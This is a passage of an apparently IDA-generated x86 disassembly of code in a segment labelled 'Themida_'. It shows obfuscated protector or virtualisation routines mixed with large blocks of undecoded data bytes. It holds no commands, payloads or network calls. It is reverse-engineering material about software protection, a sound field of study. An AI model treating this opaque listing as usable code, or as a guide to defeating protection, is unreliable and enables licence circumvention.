		mov	edi, [ebp+8]
		jmp	short loc_4F2BA5
; ---------------------------------------------------------------------------

loc_4F2B82:				; CODE XREF: Themida_:004F2BA7j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_4F2B9A
; ---------------------------------------------------------------------------

loc_4F2B97:				; CODE XREF: Themida_:004F2B9Dj
		mul	ebx
		dec	esi

loc_4F2B9A:				; CODE XREF: Themida_:004F2B95j
		cmp	esi, 0
		ja	short loc_4F2B97
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_4F2BA5:				; CODE XREF: Themida_:004F2B80j
		or	eax, eax
		jnz	short loc_4F2B82
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 81h
		dd 0C4A5BDEAh, 0E7816077h, 7ACBFD87h, 459BE1BFh, 0C18B6165h
		dd 2228AE9h, 55B4D000h,	0
		dd 54003F00h, 55AFDE02h, 55B4D000h, 54002800h, 12FF6802h
		dd 24600h, 200h, 100h, 400h, 4BB08D00h,	0FAh, 4	dup(0)
		dd 4FE71000h, 4FBBAD00h, 4F8A5300h, 4FB68B00h, 4F5F6000h
		dd 4F8F0600h, 4F42C900h, 4F9F7400h, 4FB25200h, 4FCFDD00h
		dd 4F8A0300h, 4F3D6700h, 4F30AD00h, 4FCAC400h, 4F506F00h
		dd 4F7D6400h, 4F74D000h, 4F89BF00h, 4FD3AA00h, 4F52DD00h
		dd 4F8BA700h, 4FDFF400h, 4F790100h, 4FD7C900h, 4F993100h
		dd 4F937E00h, 4F317D00h, 4F8B8B00h, 4F3E1000h, 4F9C2B00h
		dd 4F768900h, 4FE79500h, 4F64E400h, 4FAF6C00h, 4F766000h
		dd 4F389E00h, 4FD6F900h, 4FB0E400h, 4F9A5D00h, 4F6AE200h
		dd 4F817400h, 4F7D4500h, 4FCE0300h, 4F89A800h, 4F677D00h
		dd 4FCF3B00h, 4F8B5D00h, 4F994A00h, 4F4A7F00h, 4FB2DA00h
		dd 4F33A100h, 4FD9EC00h, 4FACAF00h, 4FE5B600h, 4F5C7900h
		dd 4F640500h, 4FD35100h, 4F607400h, 4FEDD600h, 4FE5BF00h
		dd 4F6C7700h, 4F72C200h, 4FBAC700h, 4F8DC100h, 4F4CC600h
		dd 4F5F4400h, 4FC20400h, 4FCFCA00h, 4FD82F00h, 4F345C00h
		dd 4FB08500h, 4FB1F500h, 4FD12C00h, 4FEA5200h, 4F341A00h
		dd 4F9AB300h, 4F8F6300h, 4F4B6000h, 4FA25E00h, 4F309200h
		dd 4F716800h, 4FE05B00h, 4F878E00h, 4F6B2D00h, 4FE97E00h
		dd 4F4A2A00h, 4FA5DE00h, 4F853B00h, 4FBD8400h, 4F3FFD00h
		dd 4F8B6600h, 4F5FB600h, 4F465700h, 4FAB4C00h, 4F385F00h
		dd 4F4F9F00h, 4F740300h, 4FC93C00h, 4F49AC00h, 4F686C00h
		dd 4F844800h, 4F5AEC00h, 4F588800h, 4F520600h, 4F903200h
		dd 4F707100h, 4F374F00h, 4FF14300h, 4F663700h, 4F3B7B00h
		dd 4F593500h, 4FAD5E00h, 4F92F500h, 4F4F7100h, 4F970900h
		dd 4FD35900h, 4FD10800h, 4FD44D00h, 4F5F1F00h, 4F6A8800h
		dd 4F321D00h, 4FA82700h, 4F76B700h, 4F689900h, 4F542100h
		dd 4F831100h, 4FD18900h, 4FB36900h, 4F77ED00h, 4F660200h
		dd 4F628A00h, 4F8BF900h, 4FE85300h, 4F3DCA00h, 4F5F1300h
		dd 4FE53F00h, 4F8D7300h, 4F967000h, 4F3FE300h, 4FE93500h
		dd 4FF39E00h, 4F838600h, 4F5C8000h, 4FD23C00h, 4FB78200h
		dd 4F6CBF00h, 4F828C00h, 4F7ECE00h, 4FA7C400h, 4FA6B100h
		dd 4FAA3A00h, 4FB24100h, 4F787500h, 4FE21600h, 4F62E100h
		dd 4F47FE00h, 4FEAC600h, 4F9C0500h, 4FBFE700h, 4F4E7000h
		dd 4F7A3500h, 4F4AEE00h, 4F4C4800h, 4F6B4300h, 4F88C400h
		dd 4FD58D00h, 4FF44B00h
		db 0
; ---------------------------------------------------------------------------

loc_4F2EAD:				; CODE XREF: Themida_:005415D2j
					; Themida_:0054AD6Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6037E28h
		mov	eax, edi
		add	edi, 6037B40h
		cmp	eax, [edi+2Ch]
		jnz	short loc_4F2ECB
		jmp	short loc_4F2EDE
; ---------------------------------------------------------------------------

loc_4F2ECB:				; CODE XREF: Themida_:004F2EC7j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_4F2EDA
; ---------------------------------------------------------------------------

loc_4F2ED5:				; CODE XREF: Themida_:004F2EDCj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_4F2EDA:				; CODE XREF: Themida_:004F2ED3j
		or	ecx, ecx
		jnz	short loc_4F2ED5

loc_4F2EDE:				; CODE XREF: Themida_:004F2EC9j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_4F2EEB:				; CODE XREF: Themida_:004F2EF2j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_4F2EEB

loc_4F2EF4:				; CODE XREF: Themida_:loc_4F38C7j
					; Themida_:004F4022j ...
		lodsb
		push	ecx
		jmp	loc_4F4EDC
; ---------------------------------------------------------------------------
		db 68h
		dd 709Bh, 0E9242489h, 91B2h
; ---------------------------------------------------------------------------

loc_4F2F08:				; CODE XREF: Themida_:004FB066j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		mov	al, 2Bh
		push	edx
		mov	dh, 0F0h
		shl	dh, 6
		shr	dh, 7
		push	ax
		mov	al, 69h
		jmp	loc_4F8163
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E959241Ch, 90E2h, 53242C89h, 255EE268h, 65ADE95Ah
		dd 89660000h, 29E9242Ch, 83000093h, 148702C2h, 24248B24h
		dd 2424D366h, 0FF9AE99Ch, 16BEFFFFh, 0B90C3508h, 69CF7A9Eh
		dd 4E7CE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F2F69:				; CODE XREF: Themida_:004F57EAj
		mov	[esp], eax
		mov	eax, 573444F7h
		or	eax, 16E80D72h
		sub	eax, 57FC4DF6h
		jmp	loc_4FCCB5
; ---------------------------------------------------------------------------
		dd 55241489h, 5C62EE68h, 242C8B38h, 4C481h, 0BE560000h
		dd 5F070AC8h, 8104E6C1h, 1B3178C6h, 53D6F777h, 313CE9h
		dd 4BD5500h, 89000000h,	2434FFEBh, 83242C8Bh, 9AE904C4h
		dd 80000051h, 0FE8806F7h, 0D4E9505Bh, 58000097h, 7CA768h
		dd 240C8900h, 0E904EC83h, 0D41h, 0FB46AFBEh, 8503E95Dh
		dd 0E8C00000h, 30220402h, 7247E9C1h, 0F2810000h, 1DF2E1C6h
		dd 148BD389h, 4C48324h,	2D5BD821h, 5E5F6487h, 0C108E8C1h
		dd 712D03E0h, 35086376h, 0FD2DBEE3h, 8358C501h,	0FF5504C5h
		dd 5D042474h, 5C24048Fh, 66E168h, 241C8900h, 8904EC83h
		dd 0CEE92434h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F303B:				; CODE XREF: Themida_:004F98BEj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_4F32A8
; ---------------------------------------------------------------------------
		dw 0A5E9h
		dd 80FFFFFEh, 0C80000F1h, 0E95B6659h, 0A904h, 501EE955h
		dd 0C2810000h, 4, 8904EC83h, 2682434h, 5E000000h, 1729EA81h
		dd 0F2014345h, 8F09E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F3081:				; CODE XREF: Themida_:004F6B20j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_4FD054
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 3650E902h, 0C6810000h, 551A753h, 895EF789h, 0D9315FFBh
		dd 75ACE9h, 0C8B6600h, 760C6824h, 0C890000h, 56595424h
		dd 4BEh, 33E98100h, 16C1536h, 33C181F1h, 5E6C1536h, 15FCE9h
		dd 2474FF00h, 48F5A04h,	24248B24h, 9C240400h, 0FFFE0BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F30E9:				; CODE XREF: Themida_:004F4E6Bj
		mov	esp, [esp]
		jmp	loc_4F38C7
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0E8h
		dd 0E9242C8Bh, 9F04h, 345568h, 24348900h, 0E9242C8Bh, 4299h
		dd 0E2D1C209h, 58BF68h,	9F47E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F311A:				; CODE XREF: Themida_:004FA822j
		mov	[esp], edi
		mov	edi, 608324E8h
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 608324E8h
		push	53CCh
		mov	[esp], ebp
		push	edi
		push	1FCD01EFh
		jmp	loc_4FB702
; ---------------------------------------------------------------------------
		db 89h,	0EBh, 8Bh
		dd 0C483242Ch, 0E9DA0104h, 21D4h, 76F28159h, 8175EF5Ah
		dd 0AC2E1AF2h, 5AD00917h, 0E835705h, 58C60189h,	3D90E9h
		dd 2434FF00h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 0E789243Ch
		dd 98DAE9h, 0E7895700h,	4C781h,	51530000h, 0AAFBF57h, 0F98963D6h
		dd 6F54E95Fh, 0C7810000h, 2A977D18h, 3BE95259h,	8700008Ah
		dd 895C240Ch, 7DE9241Ch, 0FE0000ADh, 300904C0h,	1D8BE9C5h
		dd 148B0000h, 4C48324h,	348BF501h, 4C48324h, 685DE831h
		dd 77F8h, 72B3E9h, 0C9FE5A00h, 1731E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F31F9:				; CODE XREF: Themida_:004F82D2j
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_4F719E
; ---------------------------------------------------------------------------

loc_4F3204:				; CODE XREF: Themida_:004F4215j
		mov	ecx, [esp]
		push	ebp
		push	2CBCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_4FE4AF
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 74FF241Ch, 1C8B0424h, 4EC8324h, 89241489h
		dd 4C281E2h, 0E9000000h, 17AEh,	0B8240489h, 38h, 6054E9h
		dd 241C8B00h, 1AD0E9h, 0A8B25200h, 80B7F280h, 0B353FDE2h
		dd 0E9DA00EFh, 8C0Fh, 242C875Fh, 5624248Bh, 120E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F3276:				; CODE XREF: Themida_:004F7C97j
		mov	esi, 4
		jmp	loc_4F6EDC
; ---------------------------------------------------------------------------
		dd 0CCB60F66h, 115468h,	8287E900h, 2BE0000h, 81000000h
		dd 0F71FEDC1h, 0E9F10158h, 3B64h
; ---------------------------------------------------------------------------

loc_4F32A0:				; CODE XREF: Themida_:004F6EDEj
		mov	esi, [esp]
		jmp	loc_4F6A4E
; ---------------------------------------------------------------------------

loc_4F32A8:				; CODE XREF: Themida_:004F3045j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_4F8F75
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 104C483h, 0EC835BDFh, 24148904h, 26851h, 51590000h
		dd 26240481h, 5A7FE96Ah, 6A26EA81h, 1597FE9h, 3C875AD7h
		dd 24248B24h, 9C2404D3h, 32CE9h, 51E78900h, 0E30536B9h
		dd 0D3E9817Fh, 814F2128h, 0D7138C9h, 7E1C15Ch, 3E5FE981h
		dd 0E955F2D0h, 47ECh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4FBE93
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 2C8B2434h, 0E0895024h, 405h,	4C08300h, 5C240487h, 0E95D5455h
		dd 8668h, 81243C8Bh, 4C4h, 31F83100h, 55F831C7h, 9275E950h
		dd 0DA2C0000h, 0F000E12Ch, 0DA04E104h, 83412C5Ah, 63E904ECh
		dd 660000B8h, 1F79E952h, 54570000h, 4C7815Fh, 52000000h
		dd 5E6E68h, 0B452E900h,	0B0500000h, 277CE9E2h, 0E3C00000h
		dd 0FEDBF604h, 4EB8E9C3h, 68550000h, 3D977BCCh,	7847E9h
		dd 5152AC00h, 0B353ECB1h, 8BCB8078h, 864BE9h, 0E0F68100h
		dd 8165812Ah, 4ECh, 59DCE900h, 0D680000h, 8900004Ah, 0E589242Ch
		dd 0B9BF5751h, 8167E63Fh, 0F6C430EFh, 8BF98955h, 0C481243Ch
		dd 4, 0E1D1D1F7h, 444EC981h, 0BF5717D3h, 200CB316h, 4DB3E981h
		dd 0F901763Eh, 4DB3C181h, 3EE9763Eh, 8100008Fh,	757F64C6h
		dd 0F7E6D175h, 0E6C146D6h, 5E70E906h, 0AD660000h, 83D83166h
		dd 1C8904ECh, 81E38924h, 4C3h, 0DDB85000h, 0F777C57Eh
		dd 0BDE940D0h, 800000B7h, 0F986DBE9h, 0F986D7F6h, 0B652E1D0h
		dd 5AF13003h, 0C8BCB28h, 4C48324h, 0E9C0B60Fh, 5C30h, 0F9B353ACh
		dd 80ADF380h, 0D8003EC3h, 83241C8Bh, 5FE904C4h,	3300002Bh
		dd 0C31240Ch, 240C3324h, 6624248Bh, 0E99CC83Bh,	0FFFFFA6Ch
		dd 5A2414F7h, 8102E2C1h, 0CC471BF2h, 0E9D08956h, 0B20Ch
		dd 0D387DAF7h, 48B0F381h, 0D829DE5Fh, 243C8B5Bh, 4EC81h
		dd 18E90000h, 58000066h, 578E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F34BD:				; CODE XREF: Themida_:004FE9DAj
		mov	edx, 14DF6869h
		jmp	loc_4FF164
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6BA5200h, 3122F296h, 24148BD0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 7FD004B1h
		add	ebp, eax
		sub	ebp, 7FD004B1h
		jmp	loc_4FD9D6
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 0E95E0000h, 0B6ABh, 81243C8Bh, 4C4h
		dd 4C78100h, 0E9000000h, 8B60h
; ---------------------------------------------------------------------------

loc_4F3520:				; CODE XREF: Themida_:004FAB15j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 49797040h
		jmp	loc_4FE496
; ---------------------------------------------------------------------------

loc_4F3533:				; CODE XREF: Themida_:004FF1ACj
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	15E3h
		mov	[esp], edx
		push	ecx
		mov	ecx, 342F6D92h
		jmp	loc_4FC733
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 64h
		dd 0E994D694h, 1A63h, 61BF575Eh, 81598301h, 0A3588DE7h
		dd 5FC7811Eh, 4F0FE073h, 5E15E9h, 0DF896600h, 81241C8Bh
		dd 4C4h, 0EF816600h, 0B2E93A6Bh
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F358F:				; CODE XREF: Themida_:004FCD02j
		mov	ecx, esi
		pop	esi
		jmp	loc_4F9C46
; ---------------------------------------------------------------------------
aVK_2SK		db 'V_2+[K',0
		align 2
		dw 0C483h
		dd 8BD92104h, 8950241Ch, 0BB5352E0h, 40010C65h,	0EB81D3F7h
		dd 589697B2h, 815BDA89h, 727B79F2h, 73C28158h, 1C0E5DFh
		dd 0C0835AD0h, 24048704h, 0E9C15Ch, 840FC009h, 468Dh, 334868h
		dd 24348900h, 235368h, 241C8900h, 42A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F35F5:				; CODE XREF: Themida_:004FB0F2j
		add	[esp+4], esi
		pop	esi
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_4FB052
; ---------------------------------------------------------------------------
		db 0E9h, 0D6h, 0F8h
		dd 875DFFFFh, 57E9241Ch, 8300007Ch, 48704C4h, 14895C24h
		dd 0E99C5024h, 0FFFFF8BCh, 0B8E78158h, 810B9C63h, 64FC35C7h
		dd 5FF9315Dh, 4BE9CB29h, 6600006Ah, 0E9240489h,	0FFFFF89Ch
		dd 0FFC0B60Fh, 0EC838734h, 24148904h, 3FCBAh, 73186800h
		dd 2C890000h, 462ABD24h, 0F581088Ch, 27451856h,	7AF5E9h
		dd 242C8900h, 1BDh, 0E9EE0100h,	85F2h, 0C281EA29h, 410E212Ch
		dd 0F856E95Dh, 0EF81FFFFh, 0C7F0A8Fh, 172FB850h, 0FA0D41C0h
		dd 252BAF1Eh, 1F5F1221h, 0DD3BB53h, 0F3815454h,	4210002Ch
		dd 0B911EB81h, 0D809DBD4h, 420B055Bh, 5482EC6h,	0E6CBA2C7h
		dd 8158C729h, 0ED613DEFh, 0E9FD21F4h, 0B505h
; ---------------------------------------------------------------------------

loc_4F36E4:				; CODE XREF: Themida_:004F4960j
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1043505Ah
		add	eax, 20F30D77h
		add	eax, esi
		sub	eax, 20F30D77h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	0CC83E2Ah
		pop	esi
		sub	esi, 0DB83C156h
		mov	ecx, esi
		pop	esi
		sub	ecx, 6C115623h
		xor	ecx, 0E8A94B5Ah
		mov	edx, ecx
		pop	ecx
		jmp	loc_4F7DC6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 1BA5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F375A:				; CODE XREF: Themida_:004FBA97j
		mov	eax, [esp]
		jmp	loc_4F7FC6
; ---------------------------------------------------------------------------
		dw 8DE9h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F3767:				; CODE XREF: Themida_:004FA8CCj
		sub	dword ptr [esp], 430D2B9Ah
		sub	[esp], edi
		add	dword ptr [esp], 430D2B9Ah
		add	dword ptr [esp], 49BC380Dh
		pop	edi
		sub	edi, 53F049BEh
		or	edi, 7150689Fh
		add	edi, 82A78422h
		jmp	loc_4FD7E2
; ---------------------------------------------------------------------------
aISv		db ',$颳',0
		db 0
; ---------------------------------------------------------------------------

loc_4F379F:				; CODE XREF: Themida_:004FE38Aj
		mov	edx, eax
		jmp	loc_4F9EFC
; ---------------------------------------------------------------------------
		dw 6604h
		dd 7468h, 240C8900h, 35F2E9h, 241C3300h, 0E924248Bh, 8429h
		dd 4C681h, 0BB530000h, 499E2516h, 0F7FFC383h, 0D4BE9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F37D6:				; CODE XREF: Themida_:004F5FFAj
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_4F630E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF700h, 42474FFh, 24048F5Eh, 8B24248Bh, 89562414h
		dd 4C681E6h, 0E9000000h, 394Dh,	0C106E5C1h, 0ED8102E5h
		dd 1C3C5632h, 528FE581h, 0F5817512h, 4002428Ah,	2C8BE801h
		dd 4C4BE924h, 525F0000h, 4EC81h, 0C890000h, 0F7595A24h
		dd 31CA31D1h, 81CA31D1h, 94171CF2h, 6EAC138h, 0B850D2F7h
		dd 3F2319D7h, 0F7E9C209h, 81000076h, 4ECh, 48F5400h, 57515624h
		dd 5394BB53h, 98BF0304h, 0E9030453h, 0A82h
; ---------------------------------------------------------------------------

loc_4F387C:				; CODE XREF: Themida_:004FC86Fj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_4F7122
; ---------------------------------------------------------------------------

loc_4F3891:				; CODE XREF: Themida_:004FCA9Aj
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_4FD74A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 83512404h, 248904ECh, 4B95124h, 1000000h, 5904244Ch
		dd 4EC8359h, 0BF243C89h, 4, 0D1E9F901h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F38C7:				; CODE XREF: Themida_:004F30ECj
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		dd 202A24B8h, 58C63120h, 67DEA81h, 0F201379Dh, 67DC281h
		dd 348B379Dh, 4C48324h,	4FCFE9h, 52505300h, 328EB951h
		dd 9DBA433Eh, 11A4D00h,	814A59CAh, 66E116C2h, 5B50E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F390A:				; CODE XREF: Themida_:004F8C8Bj
		push	dword ptr [edi+24h]
		jmp	loc_4FA7E6
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 0D7B6EDFh, 0EBE9F831h, 83000092h, 0D2F701EAh, 436CE281h
		dd 0F9E95D0Fh, 8700002Bh, 0E95C2434h, 4306h
; ---------------------------------------------------------------------------

loc_4F3938:				; CODE XREF: Themida_:004F4877j
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_4FAF76
; ---------------------------------------------------------------------------
		dw 17B5h
aAxSjk		db 'j',0
		align 4
		dd 2AED815Dh, 818B2B5Ch, 9B2802CDh, 0D3E94D7Dh,	0FF000026h
		dd 0E9592434h, 6C0Ah, 2BB768h, 24048900h, 5168E089h, 89000003h
		dd 0F6BA2414h, 0E93E121Ah, 79F5h
; ---------------------------------------------------------------------------

loc_4F3984:				; CODE XREF: Themida_:004F69F0j
		mov	ecx, ebx
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	5C62h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_4FDEC0
; ---------------------------------------------------------------------------
		db 5Dh,	88h, 3
		dd 3F65E9h, 4C38100h, 87000000h, 505C241Ch, 0C7895853h
		dd 0E924048Bh, 5E8Bh, 70E95057h, 87000019h, 895C243Ch
		dd 168240Ch, 8B000000h,	8957240Ch, 4C781E7h, 83000000h
		dd 348904ECh, 4176BE24h, 0BB532E40h, 5FF04A7Dh,	2694E9h
		dd 81DF0100h, 0F26412EFh, 241C8B65h, 4C481h, 1C8B0000h
		dd 4C48124h, 0E9000000h, 22F3h
; ---------------------------------------------------------------------------

loc_4F3A24:				; CODE XREF: Themida_:004F5221j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_4F92FF
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 5Ch
		dd 2801C380h, 0C6E95BD8h, 81000069h, 4ECh, 48F5400h, 24048324h
		dd 24048B04h, 49A1E9h, 24048900h, 0B361E9h, 1BE4BA00h
		dd 0D2F71722h, 63BEC281h, 0D1015CB3h, 26C1815Ah, 195E082h
		dd 0C38359CBh, 74FF5304h, 1C8B0424h, 4C48324h, 5C24048Fh
		dd 0E2BD5552h, 8953070Ah, 242C8BEAh, 8104C483h,	1CA5D1EAh
		dd 8BD329ECh, 0C4832414h, 0A5C38104h, 0E945300Eh, 9D8Ah
		dd 0E904EC83h, 4A9Eh, 0D2BA4BBh, 8BDA297Fh, 0C483241Ch
		dd 81FA0104h, 0D2BA4C2h, 0D4E9517Fh, 81000070h,	2E54F6EAh
		dd 0DBEA8119h, 5616F503h, 236401BEh, 5EF2290Ah,	85B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F3AF1:				; CODE XREF: Themida_:004FAAB2j
		push	edi
		push	1
		jmp	loc_4FAE74
; ---------------------------------------------------------------------------
		dd 54243C89h, 4C7815Fh,	55000000h, 0A273E9h, 0BFE95300h
		dd 5300000Eh, 62E9E389h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F3B1B:				; CODE XREF: Themida_:004FE2AAj
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ecx, 3690245Ch
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_4F568F
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 2D01E9h, 1BA5200h, 9000000h, 4BE91C57h
		dd 5E000093h, 603BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F3B62:				; CODE XREF: Themida_:004FD9D7j
		push	ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_4F6A66
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 35CEh, 68242C89h,	75F1h, 83242489h, 5D042404h
		dd 8904EC83h, 11E9243Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4F3B9F:				; CODE XREF: Themida_:004F6B63j
		xchg	ebp, [esp]
		jmp	loc_4FC83F
; ---------------------------------------------------------------------------
		db 1
		dd 148759CAh, 8B665C24h, 54502404h, 85F7E9h, 24048700h
		dd 243C895Ch, 0C781E789h, 4, 636D68h, 240C8900h, 1BB1E9h
		dd 2C875B00h, 24248B24h, 3E8AE9h, 0ADE95800h, 0BE000054h
		dd 3BE32618h, 26E9DEF7h, 680000A8h, 5072h, 53242489h, 4BBh
		dd 7E45E900h, 74FF0000h, 61E90424h, 8B00002Bh, 0E1F62424h
		dd 40EE9h, 241C8900h, 241C8B5Dh, 4C481h, 0E8210000h, 8B2434FFh
		dd 61E9242Ch, 3100001Fh, 1C33241Ch, 4895C24h, 0F2B2E924h
		dd 0C180FFFFh, 0E9CF884Fh, 8DD4h, 4C181h, 5E90000h, 0BD0000ABh
		dd 59926428h, 2975C581h, 0F5813595h, 1FCE6767h,	4E11E9h
		dd 24048B00h, 4C481h, 34FF0000h, 2434FF24h, 4C4835Bh, 99BEE9h
		dd 0D9B45000h, 0E500ACB5h, 0FFF33AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F3C91:				; CODE XREF: Themida_:004FD0E6j
		push	ecx
		mov	cl, al
		push	eax
		mov	al, cl
		mov	bh, al
		pop	eax
		pop	ecx
		jmp	loc_4FF0FB
; ---------------------------------------------------------------------------
		dd 1D46C281h, 0C2811935h, 395636B1h, 91E9FA01h,	0BA000095h
		dd 4DA07D28h, 5F09C281h, 814A6C69h, 781541C2h, 49C28175h
		dd 0E9DD4A3Bh, 0AE91h, 5053E289h, 4B8h,	58C38900h, 6CBBEA81h
		dd 0DA0152BFh, 6CBBC281h, 1C8B52BFh, 29EAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F3CF2:				; CODE XREF: Themida_:004FC3F8j
		sub	edx, eax
		pop	eax
		sub	esi, edx
		pop	edx
		add	esi, 86F54C5Dh
		jmp	loc_4F4F98
; ---------------------------------------------------------------------------

loc_4F3D03:				; CODE XREF: Themida_:004F7439j
		sub	dl, al
		push	dword ptr [esp]
		jmp	loc_4FB8E7
; ---------------------------------------------------------------------------
		db 66h,	53h, 83h
		dd 0C8904ECh, 13B75324h, 6772E9h, 24048900h, 0FE8BB353h
		dd 6EBC0C3h, 56B9E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F3D2D:				; CODE XREF: Themida_:004FD588j
		pop	esi
		and	ebp, 58BF1283h
		jmp	loc_4F664E
; ---------------------------------------------------------------------------
		db 68h,	8, 9
		dd 4890000h, 1889E924h,	885A0000h, 241C8BFEh, 4C481h, 0F0300000h
		dd 2A98E9h, 0E9C72900h,	5C78h, 4DE9E688h, 0AD000088h, 2968D831h
		dd 89000028h, 0E952241Ch, 4DA5h, 0E92434FFh, 2B3Ah, 5B2434FFh
		dd 8F04C483h, 248B2404h, 7D816824h, 1C890000h, 50006824h
		dd 36E90000h, 81000003h, 2C1h, 0F6C9E900h, 0E981FFFFh
		dd 46AF0ABBh, 0C181D901h, 46AF0ABBh, 4E9815Bh, 87000000h
		dd 248B240Ch, 5DBAE924h, 34FF0000h, 2434FF24h, 4EC8358h
		dd 54241489h, 0EFBF575Ah, 815D6C60h, 8A0DBEE7h,	16EF8166h
		dd 8760D406h, 0E9DBF7DFh, 334Eh
; ---------------------------------------------------------------------------

loc_4F3DF4:				; CODE XREF: Themida_:004FF13Ej
		mov	esi, [esp]
		add	esp, 4
		dec	esi
		not	esi
		xor	esi, 0F220A995h
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		jmp	loc_4FD2BD
; ---------------------------------------------------------------------------
		dd 28B6664h, 3C1568h, 24148900h, 0C281E289h, 4,	26D8E9h
		dd 0D5BD5500h, 0E947AB4Fh, 8C08h, 5C240C87h, 0E9240C89h
		dd 1972h, 0C681DEF7h, 0A12FE976h, 2AE6F681h, 0BB531B84h
		dd 0B3BFA3F2h, 15BDE01h, 0C2815EF2h, 2,	0FFFC4FE9h, 4EC81FFh
		dd 89000000h, 74FF240Ch, 8F590424h, 575C2404h, 0F68EE954h
